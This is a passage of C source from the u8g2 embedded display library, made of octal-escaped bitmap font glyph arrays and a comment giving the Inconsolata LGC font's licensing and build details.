"\0\0\0\0\0\0\0\0\200\300\340\360\370\370\370||<<<<<<||\370\370\360\360\340\300\0" "\0\0\0\0\0\300\374\377\377\377\277\207\201\200\200\200\200\200\200\200\200\200\200\200\200\200\201\203\377\377\377\377" "\374\0\0\0\0\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\1\0\0\0\0\7\37\77\177\377\376\370\360\340\300\300\300\200\200\200\200\200\200\200\300\300\340\340\360\360`" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\370\370||<<<<<<||\370\370\360\360\340\300\0" "\0\0\0\0\0\300\374\377\377\377\277\207\201\200\200\200\200\200\200\200\200\200\200\200\200\200\201\203\237\377\377\377" "\374\0\0\0\0\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\1\0\0\0\0\7\37\77\177\377\376\370\360\340\300\300\300\200\200\200\200\200\200\200\300\300\340\340\360\360`" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\14\36~\377\377\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\17\7\6\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\36\36\36\36\36\36\36\36\376\376\376\376\376\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\377\377\377\377\377\300\300\300\300\300\300\300\300\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\377\376|<\10\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\16\37\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0<<<<<<<<\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374~~\374\370\340\300\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\10\34>\77\17\7\3\0\0\0\1\3\17\37\77\37\34\10\0\0\0\0" "\0\0\0\0\0\0\0\0\0<<<<<<<<\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0<<<<<<<\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\70\70x\370\360\360\340\300\300\200\200\300\300\300\300\340\340" "\300\0\0\0\0\0\0\0\0\0\0\0\14<<\36\36\36\16\17\17\17\7\37\77\177\377\377\363\341\301\1" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<<<<||\370\371\367\377\377\377\377" "\374\340\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377" "\377\377\376\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\360\370||<<<|\374\370\360\340\300\200\200\200\300\340\360\360\340" "@\0\0\0\0\0\0\0\0\1\3\3\1\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\7\3\1\0" "\0\0\0\0\0\0\0\374\374\374\374\374\0\300\340\340\360xx<<<<<||\374\374\370\360\340\300" "\0\0\0\0\0\0\0\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\70|\376\376\374\360\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\37\16\10\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\376\374|\30\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\17\37\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\376~\376\370\360\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\10\36\77\37\7\3\1\0\0\0\3\7\17\77\77\36\10\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\370\374|<<<||\370\360\340\300\300\200\200\200\300\360\370\340" "@\0\0\0\0\0\0\0\0\1\1\3\1\0\0\0\0\0\0\0\0\1\3\7\7\7\7\7\7\3\1\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\17\17\17\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0<<<<<<<<<<<<<<<<<<<<<<<<<" "<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\200\200" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<|\374\374\374\377\377\377\317\203" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\200\340\370\376\377\77\17\3\1\7\77\377\377" "\377\374\340\0\0\177\377\377\377\377\340\0\0\0\0\300\360\374\376\177\37\17\3\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\376\377\377\337\207\201\200\200\200\200\300\300\340\360\370\376\377\177\77" "\37\7\1\0\0\0\0 \70~\177\77\17\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\36>\377\377\374\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\17\7\7\0\0\0\0\0\0\0" "\0\0\0\0\0\0\376\376\376\376\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376" "\376\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\0\3\17\77\177\377\377\374\360\340\340\300\300\300\300\300\340\340\360\360x>\37\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\7\3\3\3\3\1\1\0\0\0\0\3\3\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\177>\36\4\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\376\376\376\376\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376" "\376\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\0\3\17\77\177\377\377\374\360\340\340\300\300\300\300\300\340\340\360\360x>\37\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\7\3\3\3\3\1\1\0\0\0\0\3\3\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374~~\374\370\340\300\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\10\34>\37\17\7\1\0\0\0\1\3\17\37\77\36\34\10\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374" "\374\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\377\370\340\300\300\200\200\200\200\200\300\300\340\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374" "\374\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\377\370\340\300\300\200\200\200\200\200\300\300\340\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\177>\36\4\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\2\36~\376\376\376\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\376\376\376" "\376\36\2\0\0\0\0\0\3\17\177\377\377\376\370\300\0\0\0\0\0\0\0\0\0\300\370\377\377\377\37\7" "\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\370\340\0\0\0\300\370\376\377\377\37\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\377\377\377\374\376\377\377\37\7\0\0\0\0\0\0" "\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\16\37\37>>><>>>\37\37\17\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\300\340\360xx<<<<><||\374\374\370\360\360\340\300" "\0\0\0\0\0\0\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377" "\377\374\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\301\377\377" "\377\377\177\0\0\0\377\377\377\377\377\177\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\377\177\77" "\37\7\0\0\0\0\377\377\377\377\377\0\0\1\1\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\4\34|\374\374\374\364\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\374\374" "\374|\14\0\0\0\0\0\3\17\177\377\377\376\360\300\0\0\0\0\0\0\0\0\0\0\340\374\377\377\177\37" "\3\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377\370\340\0\0\0\0\340\370\377\377\177\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\374\370\377\377\177\17\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\377\177\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\34>\77~||x|||>\77\37\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; #endif /* U8G2_USE_LARGE_FONTS */ /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr46_4x8_r[24324] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_r") = " ~\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\374\374\374\370\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\377\77\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\17\17\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\360\0\0\0\0\0\0\0\0\360\370\370\370\360\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\300\300\300\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\1\0\0\0\0\0\0\0\377\377\377\377\17\0" "\0\0\0\0\0<<<<<<<<\377\377\377\377=<<<<<<<\376\377\377\377\77<<" "<<<<\0\0\0\0\0\0\0\0\377\377\377\377\3\0\0\0\0\0\0\0\374\377\377\377\37\0\0\0" "\0\0\0\0\70\70\70\70\70\70\70\376\377\377\377\77\70\70\70\70\70\70\70\374\377\377\377\37\34\34\34\34" "\34\34\34\0\0\0\0\0\0\0\376\377\377\377\7\0\0\0\0\0\0\0\370\377\377\377\37\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\6\7\7\7\7\0\0\0\0\0\0\0\0\7\7\7\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\10\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\360\370\374\374>\36\37\17\17\377\377\377\377\17\17\17\37\36>~\374\374\370" "p \0\0\0\0\0\37\177\377\377\377\370\340\300\200\0\0\377\377\377\377\0\0\0\0\0\0\0\0\1\0" "\0\0\0\0\0\0\0\0\0\1\3\3\7\17\17\37\37\37\377\377\377\377||\370\370\370\360\360\340\340\300" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\1\3\17\377\377" "\377\377\374\0\0\0\30>\77~\374\370\360\360\340\340\340\340\377\377\377\377\340\340\340\360\360\370\374\177\77\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\77\77\77\77\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300" "\300\300\0\0\360\374\377\377\17\7\7\3\7\7\37\377\377\377\374\360\0\0\0\0\0\300\360\374\377\177\37\7" "\1\0\0\0\3\17\77\177|\370\370\360\370\370\374\177\177\77\17\3\200\340\370\374\377\77\17\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\177\37\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\360\374\377\77\17\7\1\0\200\340\370\374|>\36\36\36>|" "\374\370\340\200\0\0\0\200\340\370\376\177\37\17\3\0\0\0\0\0\0\77\377\377\377\340\200\200\200\200\200\340" "\377\377\377\77\0\4\6\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\17\7\7\7" "\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\374\376\377\377\37\17\7\7\7\7\7\7\17\77\377\377\376\374\360\0\0\0\0" "\0\0\0\0\0\0\0\0\17\77\177\377\377\374\360\300\200\0\0\200\300\340\370\377\377\177\77\17\0\0\0\0" 